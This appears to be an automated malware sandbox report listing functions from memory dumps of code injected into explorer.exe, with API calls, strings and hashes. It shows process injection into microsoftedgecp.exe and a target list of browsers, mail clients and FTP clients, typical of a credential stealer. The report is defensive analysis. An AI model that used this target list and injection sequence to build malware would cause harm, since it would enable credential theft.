Instruction Fuzzy Hash: 70A19E703087019BE714EF65C581A2FB7E5AFC8704F40482EFA558B361EBB8EC458B4A

Function 004478B9 Relevance: 5.2, APIs: 4, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?), ref: 00447979
memset.NTDLL ref: 0044798A
memcpy.NTDLL(?,?,?), ref: 00447A00
memset.NTDLL ref: 00447A14

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: e9d3cd6ba3f5b9bd65a077e508ec56a81bb732b577464c95d209073f0cba1626
Instruction ID: b5638a30730b19529b5d1a5f34db7cf7e4bd1ab6a501865ed145ebfc92faffbe
Opcode Fuzzy Hash: e9d3cd6ba3f5b9bd65a077e508ec56a81bb732b577464c95d209073f0cba1626
Instruction Fuzzy Hash: 1E819FB16083549FE310DF29C980A2BBBE5EF88704F14496EF88597352D778ED06CB96

Function 0043190B Relevance: 5.0, APIs: 4, Instructions: 36stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,?,00000000,00432783), ref: 0043192B
lstrlen.KERNEL32(00000000,?,?,?,00000000,00432783), ref: 00431930
lstrcat.KERNEL32(00000000,?), ref: 00431946
lstrcat.KERNEL32(00000000,00000000), ref: 0043194A

Memory Dump Source

Source File: 0000000D.00000002.3226044754.0000000000431000.00000040.80000000.00040000.00000000.sdmp, Offset: 00431000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_431000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: a9e7e89dc03f76edb80b088144d5234a0126788cef72a077485408e925d148e8
Instruction ID: 970ecc53e4bbb71f5ef02366fbb50e69e542ac26b33414ca77f385544e2d586a
Opcode Fuzzy Hash: a9e7e89dc03f76edb80b088144d5234a0126788cef72a077485408e925d148e8
Instruction Fuzzy Hash: 62E09BA230021C1B472077AE5C94E7F76DCCED95A5706003AFD04C3312EF599C0187B8

Analysis Process: explorer.exePID: 1908, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	21.8%
Dynamic/Decrypted Code Coverage:	86.8%
Signature Coverage:	0%
Total number of Nodes:	182
Total number of Limit Nodes:	16

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00E330A8 Relevance: 4.7, APIs: 3, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00E33104
FindNextFileW.KERNELBASE ref: 00E33218
FindClose.KERNELBASE ref: 00E33229

Memory Dump Source

Source File: 0000000F.00000002.3175037828.0000000000E31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00E31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_e31000_explorer.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction ID: 3bcd9b6ca59de655fc9a96e9267729c3ef7a473fa059a62549125bc0fc90aa98
Opcode Fuzzy Hash: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction Fuzzy Hash: C4418130318B0C4FDB98EB38984DBAA7BD2FBD8340F445A6DA54AD3151EE78D904C781

Function 00E338B0 Relevance: 1.5, APIs: 1, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00E338F2

Memory Dump Source

Source File: 0000000F.00000002.3175037828.0000000000E31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00E31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_e31000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction ID: 0578d2d95a472eb133859a6107703074cd49a265bedbb53fea97907aa406c2cf
Opcode Fuzzy Hash: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction Fuzzy Hash: 5CF0E520F11A080BEF6C77BD685D3382AC0EB98315F50192DB515E76D6DC3D8E45C301

Function 00E32774 Relevance: 6.1, APIs: 4, Instructions: 124
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE ref: 00E327C7
RegQueryValueExW.KERNELBASE ref: 00E327F4
RegQueryValueExW.KERNELBASE ref: 00E3283A
RegCloseKey.KERNELBASE ref: 00E32860

Part of subcall function 00E31860: RtlFreeHeap.NTDLL ref: 00E31880

Memory Dump Source

Source File: 0000000F.00000002.3175037828.0000000000E31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00E31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_e31000_explorer.jbxd

Similarity

API ID: QueryValue$CloseFreeHeapOpen
String ID:
API String ID: 1641618270-0
Opcode ID: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction ID: ff3f2fec8b7a16efcd8f638360ab98fbe74e56253578f9b83725aee12899f7d9
Opcode Fuzzy Hash: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction Fuzzy Hash: 7E319230208B488FE768DB28D45877A7BE0FBA8359F54162EE5CAD2264DF24C846C742

Function 00E3372C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE ref: 00E337B2
RegCloseKey.KERNELBASE ref: 00E337C1

Strings

?, xrefs: 00E337A2

Memory Dump Source

Source File: 0000000F.00000002.3175037828.0000000000E31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00E31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_e31000_explorer.jbxd

Similarity

API ID: CloseCreate
String ID: ?
API String ID: 2932200918-1684325040
Opcode ID: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction ID: 096f1d2894aec097c300cd77060c3be93892cc92c80c9f7dcefe946a61f8e9cb
Opcode Fuzzy Hash: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction Fuzzy Hash: 41119370608B488FD754DF29D48C66ABBE1FB98345F40062FE48AD3220DF389985CB82

Function 00E3A298 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00E3A397
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 00E3A441
VirtualProtect.KERNELBASE ref: 00E3A45F

Memory Dump Source

Source File: 0000000F.00000002.3175037828.0000000000E39000.00000040.80000000.00040000.00000000.sdmp, Offset: 00E39000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_e39000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction ID: e249d0b7ac10297db3e34c8d9ed7f7fa8b9b0732580829125a1b9cc9a1a37279
Opcode Fuzzy Hash: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction Fuzzy Hash: A051583235891D4BCB24AA7898CC2F9BBD1F755325F1C163AC4DAD3294D959D8C6C382

Function 00E33254 Relevance: 4.7, APIs: 3, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E3298C: GetFileAttributesW.KERNELBASE ref: 00E3299E

GetPrivateProfileSectionNamesW.KERNEL32 ref: 00E3330F
GetPrivateProfileStringW.KERNEL32 ref: 00E3336F
GetPrivateProfileIntW.KERNEL32 ref: 00E3338C

Part of subcall function 00E330A8: FindFirstFileW.KERNELBASE ref: 00E33104

Part of subcall function 00E31860: RtlFreeHeap.NTDLL ref: 00E31880

Memory Dump Source

Source File: 0000000F.00000002.3175037828.0000000000E31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00E31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_e31000_explorer.jbxd

Similarity

API ID: PrivateProfile$File$AttributesFindFirstFreeHeapNamesSectionString
String ID:
API String ID: 970345848-0
Opcode ID: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction ID: 93f65980e6788749cafeb8cf8ded26cf0c4879a6f50a47799246e26d2a9e0759
Opcode Fuzzy Hash: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction Fuzzy Hash: 9D51D830718F094FDB1DBB3CA85EA797AD2EB98340F4455ADE40AD3292EE64DD41C386

Function 00E33458 Relevance: 4.7, APIs: 3, Instructions: 172
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.KERNELBASE ref: 00E3347E
RegOpenKeyExW.KERNELBASE ref: 00E3353F
RegEnumKeyExW.KERNELBASE ref: 00E335D6

Part of subcall function 00E32774: RegOpenKeyExW.KERNELBASE ref: 00E327C7
Part of subcall function 00E32774: RegQueryValueExW.KERNELBASE ref: 00E327F4
Part of subcall function 00E32774: RegQueryValueExW.KERNELBASE ref: 00E3283A
Part of subcall function 00E32774: RegCloseKey.KERNELBASE ref: 00E32860

Part of subcall function 00E33254: GetPrivateProfileSectionNamesW.KERNEL32 ref: 00E3330F

Part of subcall function 00E31860: RtlFreeHeap.NTDLL ref: 00E31880

Memory Dump Source

Source File: 0000000F.00000002.3175037828.0000000000E31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00E31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_e31000_explorer.jbxd

Similarity

API ID: OpenQueryValue$CloseEnumFreeHeapNamesPrivateProfileSection
String ID:
API String ID: 1841478724-0
Opcode ID: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction ID: 1ea37593c9d1f63b5ab46381f230dc66c8e4ae67c529af3dee4e3c51fbc96780
Opcode Fuzzy Hash: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction Fuzzy Hash: 5D414930718B084FDB98EF7D949972ABAE2FB98341F00566EA18ED3261DE34D944C742

Function 00E32938 Relevance: 3.0, APIs: 2, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00E32966
CloseHandle.KERNELBASE ref: 00E3297A

Memory Dump Source

Source File: 0000000F.00000002.3175037828.0000000000E31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00E31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_e31000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction ID: 54d0515a5100fd1398a1745b155ec05ca938682d9148d8d99a5d7ba71d4e2786
Opcode Fuzzy Hash: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction Fuzzy Hash: 60F0E57021570A4FE7446FB8449C336B9E0FB88319F18563DE59AC22D0D7348842C702

Function 00E322B4 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 00E322D0

Memory Dump Source

Source File: 0000000F.00000002.3175037828.0000000000E31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00E31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_e31000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction ID: 2fdab92cff2978dd2fa3bf37450be161ca904b78e6585f53b5c2368efe5a0591
Opcode Fuzzy Hash: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction Fuzzy Hash: 01E08C30108B0A8FD758AFBCE4CA07A37E1EB9C256B05053EE005CB124D27988C1C741

Function 00E3298C Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 00E3299E

Memory Dump Source

Source File: 0000000F.00000002.3175037828.0000000000E31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00E31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_e31000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction ID: 0f0d09ba80901e204d7ceb368e3fc0a9d92f68d263a326e34bcb385e38eac0ee
Opcode Fuzzy Hash: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction Fuzzy Hash: 3CD05E32612905076B6426F908DD3B128A0D75932EF14222EEB76D12A0E297C895E201

Function 00E31860 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL ref: 00E31880

Memory Dump Source

Source File: 0000000F.00000002.3175037828.0000000000E31000.00000040.80000000.00040000.00000000.sdmp, Offset: 00E31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_e31000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
Instruction ID: 92f917ca4533791b49ca91bf84afc6238d37f23deafcd8317c1521849b46e917
Opcode Fuzzy Hash: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
Instruction Fuzzy Hash: C1D01224716A080BEF2CBBFA1C8D174BED2E758216F1890A9B819D3251DD39C895C345

Analysis Process: explorer.exePID: 6316, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	97.4%
Signature Coverage:	17.3%
Total number of Nodes:	306
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02F01016 Relevance: 89.5, APIs: 30, Strings: 21, Instructions: 244
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02F02608: VirtualQuery.KERNEL32(02F04434,?,0000001C), ref: 02F02615

Part of subcall function 02F02861: GetProcessHeap.KERNEL32(00000008,0000A000,02F010CC), ref: 02F02864
Part of subcall function 02F02861: RtlAllocateHeap.NTDLL(00000000), ref: 02F0286B

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 02F01038
RtlMoveMemory.NTDLL(00000000,?,?), ref: 02F0106B
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 02F01074
GetCurrentProcessId.KERNEL32(?,02F01010), ref: 02F0107A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02F010DF
Process32First.KERNEL32(00000000,?), ref: 02F010FE
lstrcmpiA.KERNEL32(?,firefox.exe), ref: 02F0111A
lstrcmpiA.KERNEL32(?,iexplore.exe), ref: 02F0112E
lstrcmpiA.KERNEL32(?,chrome.exe), ref: 02F01142
lstrcmpiA.KERNEL32(?,opera.exe), ref: 02F01156
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 02F01166
lstrcmpiA.KERNEL32(?,outlook.exe), ref: 02F0117A
lstrcmpiA.KERNEL32(?,thebat.exe), ref: 02F0118E
lstrcmpiA.KERNEL32(?,thebat32.exe), ref: 02F011A2
lstrcmpiA.KERNEL32(?,thebat64.exe), ref: 02F011B6
lstrcmpiA.KERNEL32(?,thunderbird.exe), ref: 02F011CA
lstrcmpiA.KERNEL32(?,filezilla.exe), ref: 02F011DE
lstrcmpiA.KERNEL32(?,smartftp.exe), ref: 02F011F2
lstrcmpiA.KERNEL32(?,winscp.exe), ref: 02F01206
lstrcmpiA.KERNEL32(?,flashfxp.exe), ref: 02F01216
lstrcmpiA.KERNEL32(?,cuteftppro.exe), ref: 02F01226
lstrcmpiA.KERNEL32(?,mailmaster.exe), ref: 02F01236
lstrcmpiA.KERNEL32(?,263em.exe), ref: 02F01246
lstrcmpiA.KERNEL32(?,foxmail.exe), ref: 02F01256
lstrcmpiA.KERNEL32(?,alimail.exe), ref: 02F01266
lstrcmpiA.KERNEL32(?,mailchat.exe), ref: 02F01276
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 02F012B4
Process32Next.KERNEL32(00000000,00000128), ref: 02F0130B
CloseHandle.KERNELBASE(00000000), ref: 02F0131C
Sleep.KERNELBASE(000003E8), ref: 02F01327

Strings

thunderbird.exe, xrefs: 02F011C0
outlook.exe, xrefs: 02F01170
thebat.exe, xrefs: 02F01184
mailmaster.exe, xrefs: 02F0122C
smartftp.exe, xrefs: 02F011E8
winscp.exe, xrefs: 02F011FC
0-8wP,8w, xrefs: 02F01074
microsoftedgecp.exe, xrefs: 02F010D2, 02F01160, 02F012AE
alimail.exe, xrefs: 02F0125C
opera.exe, xrefs: 02F0114C
iexplore.exe, xrefs: 02F01124
263em.exe, xrefs: 02F0123C
foxmail.exe, xrefs: 02F0124C
thebat32.exe, xrefs: 02F01198
chrome.exe, xrefs: 02F01138
cuteftppro.exe, xrefs: 02F0121C
flashfxp.exe, xrefs: 02F0120C
filezilla.exe, xrefs: 02F011D4
thebat64.exe, xrefs: 02F011AC
firefox.exe, xrefs: 02F01114
mailchat.exe, xrefs: 02F0126C

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapMemoryMoveProcessProcess32$AllocateCloseCreateCurrentFirstHandleNextQuerySectionSleepSnapshotToolhelp32UnmapViewVirtual
String ID: 0-8wP,8w$263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 2555639992-1022288460
Opcode ID: f95afa416cc2f1d5b89333d47d40b7401d0b70ba04958a47227f498277f66d95
Instruction ID: 49d546cd9ab95504193127289be062a997a6ff9f65ed47780dfeda650809bfc5
Opcode Fuzzy Hash: f95afa416cc2f1d5b89333d47d40b7401d0b70ba04958a47227f498277f66d95
Instruction Fuzzy Hash: B2719230E41309ABEB10DBB19DC8E6BBBACBB497C4B040969FF45D20C4DB60D509AF64

Function 02F010A4 Relevance: 80.7, APIs: 26, Strings: 20, Instructions: 203
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02F02861: GetProcessHeap.KERNEL32(00000008,0000A000,02F010CC), ref: 02F02864
Part of subcall function 02F02861: RtlAllocateHeap.NTDLL(00000000), ref: 02F0286B

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02F010DF
Process32First.KERNEL32(00000000,?), ref: 02F010FE
lstrcmpiA.KERNEL32(?,firefox.exe), ref: 02F0111A
lstrcmpiA.KERNEL32(?,iexplore.exe), ref: 02F0112E
lstrcmpiA.KERNEL32(?,chrome.exe), ref: 02F01142
lstrcmpiA.KERNEL32(?,opera.exe), ref: 02F01156
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 02F01166
lstrcmpiA.KERNEL32(?,outlook.exe), ref: 02F0117A
lstrcmpiA.KERNEL32(?,thebat.exe), ref: 02F0118E
lstrcmpiA.KERNEL32(?,thebat32.exe), ref: 02F011A2
lstrcmpiA.KERNEL32(?,thebat64.exe), ref: 02F011B6
lstrcmpiA.KERNEL32(?,thunderbird.exe), ref: 02F011CA
lstrcmpiA.KERNEL32(?,filezilla.exe), ref: 02F011DE
lstrcmpiA.KERNEL32(?,smartftp.exe), ref: 02F011F2
lstrcmpiA.KERNEL32(?,winscp.exe), ref: 02F01206
lstrcmpiA.KERNEL32(?,flashfxp.exe), ref: 02F01216
lstrcmpiA.KERNEL32(?,cuteftppro.exe), ref: 02F01226
lstrcmpiA.KERNEL32(?,mailmaster.exe), ref: 02F01236
lstrcmpiA.KERNEL32(?,263em.exe), ref: 02F01246
lstrcmpiA.KERNEL32(?,foxmail.exe), ref: 02F01256
lstrcmpiA.KERNEL32(?,alimail.exe), ref: 02F01266
lstrcmpiA.KERNEL32(?,mailchat.exe), ref: 02F01276
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 02F012B4
Process32Next.KERNEL32(00000000,00000128), ref: 02F0130B
CloseHandle.KERNELBASE(00000000), ref: 02F0131C
Sleep.KERNELBASE(000003E8), ref: 02F01327

Strings

thunderbird.exe, xrefs: 02F011C0
outlook.exe, xrefs: 02F01170
thebat.exe, xrefs: 02F01184
mailmaster.exe, xrefs: 02F0122C
smartftp.exe, xrefs: 02F011E8
winscp.exe, xrefs: 02F011FC
microsoftedgecp.exe, xrefs: 02F010D2, 02F01160, 02F012AE
alimail.exe, xrefs: 02F0125C
opera.exe, xrefs: 02F0114C
iexplore.exe, xrefs: 02F01124
263em.exe, xrefs: 02F0123C
foxmail.exe, xrefs: 02F0124C
thebat32.exe, xrefs: 02F01198
chrome.exe, xrefs: 02F01138
cuteftppro.exe, xrefs: 02F0121C
flashfxp.exe, xrefs: 02F0120C
filezilla.exe, xrefs: 02F011D4
thebat64.exe, xrefs: 02F011AC
firefox.exe, xrefs: 02F01114
mailchat.exe, xrefs: 02F0126C

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapProcess32$AllocateCloseCreateFirstHandleNextProcessSleepSnapshotToolhelp32
String ID: 263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 3950187957-1680033604
Opcode ID: 8b1bd82951850362ebd7952a4ce6b2470bff6528153a2babdc2fb09c3216ee6c
Instruction ID: 22ac626dab0b549fbd685e48ad94cb1394e1141af468d2b82091c8fe7708aee2
Opcode Fuzzy Hash: 8b1bd82951850362ebd7952a4ce6b2470bff6528153a2babdc2fb09c3216ee6c
Instruction Fuzzy Hash: 41517230E05309A6EB10DBB18DC4E6F7BEC6E89BC4B040929FB45C20C4EB64E509AF75

Function 02F07728 Relevance: 6.2, APIs: 4, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F06000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F06000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f06000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d61328d9644783f32f0c46b7311b119f47afcf68d8a47ee6a31c313ac0ba99db
Instruction ID: 2d69debd8a934100947f8606f16d2cdb9231ffbbf311ebf5798e852e7e4efc39
Opcode Fuzzy Hash: d61328d9644783f32f0c46b7311b119f47afcf68d8a47ee6a31c313ac0ba99db
Instruction Fuzzy Hash: E1511B71E443954FD7216A78CCC0B71FBA0DB422A0B2906F9C6E5C73C6E7547806D7A4

Function 02F02861 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000A000,02F010CC), ref: 02F02864
RtlAllocateHeap.NTDLL(00000000), ref: 02F0286B

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 5a58a4d1c1fd969c237e760ed17ee9523eb0caadd3aeea5a709eed7a823726bf
Instruction ID: 1a65aa5b35538b148e49ce3a19c171a44216c1b556c527d5d3c602f383c9e410
Opcode Fuzzy Hash: 5a58a4d1c1fd969c237e760ed17ee9523eb0caadd3aeea5a709eed7a823726bf
Instruction Fuzzy Hash: 28A01271C81104BFDD4017A0A84DF05BA1CB740B45F008880710AC40448960005C8722

Non-executed Functions

Function 02F01819 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02F02608: VirtualQuery.KERNEL32(02F04434,?,0000001C), ref: 02F02615

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,7622E800,microsoftedgecp.exe,?), ref: 02F0184E
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 02F01889
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 02F01919
RtlMoveMemory.NTDLL(00000000,02F03428,00000016), ref: 02F01940
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 02F01968
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 02F01978
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02F01992
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 02F0199A
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F019A8
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F019AF
GetModuleHandleA.KERNEL32(ntdll,atan,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 02F019C5
GetProcAddress.KERNEL32(00000000), ref: 02F019CC
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 02F019E2
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 02F01A0C
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02F01A1F
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F01A26
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F01A2D
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 02F01A41
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02F01A58
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F01A65
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F01A6B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02F01A71
CloseHandle.KERNEL32(00000000,?,00000000), ref: 02F01A74

Strings

atan, xrefs: 02F019BB
ntdll, xrefs: 02F019C0
opera_shared_counter, xrefs: 02F0198B
0-8wP,8w, xrefs: 02F01910
microsoftedgecp.exe, xrefs: 02F0181D

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: 0-8wP,8w$atan$microsoftedgecp.exe$ntdll$opera_shared_counter
API String ID: 1066286714-2452002656
Opcode ID: 21f7aba6f6b535025ecdbb21d42d4df450e1f21d68f008d88a189bc97a9dd463
Instruction ID: 8631cb0ae314c5452392a90a4890047308e013971b1cc433c50761ca348ae5b6
Opcode Fuzzy Hash: 21f7aba6f6b535025ecdbb21d42d4df450e1f21d68f008d88a189bc97a9dd463
Instruction Fuzzy Hash: 78618E71A45308AFE310DF659DC4E6BBBECFF897D8F000A59BA4993280D770D9048BA1

Function 02F0263E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 02F0265A
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 02F02672
lstrlen.KERNEL32(?,00000000), ref: 02F0267A
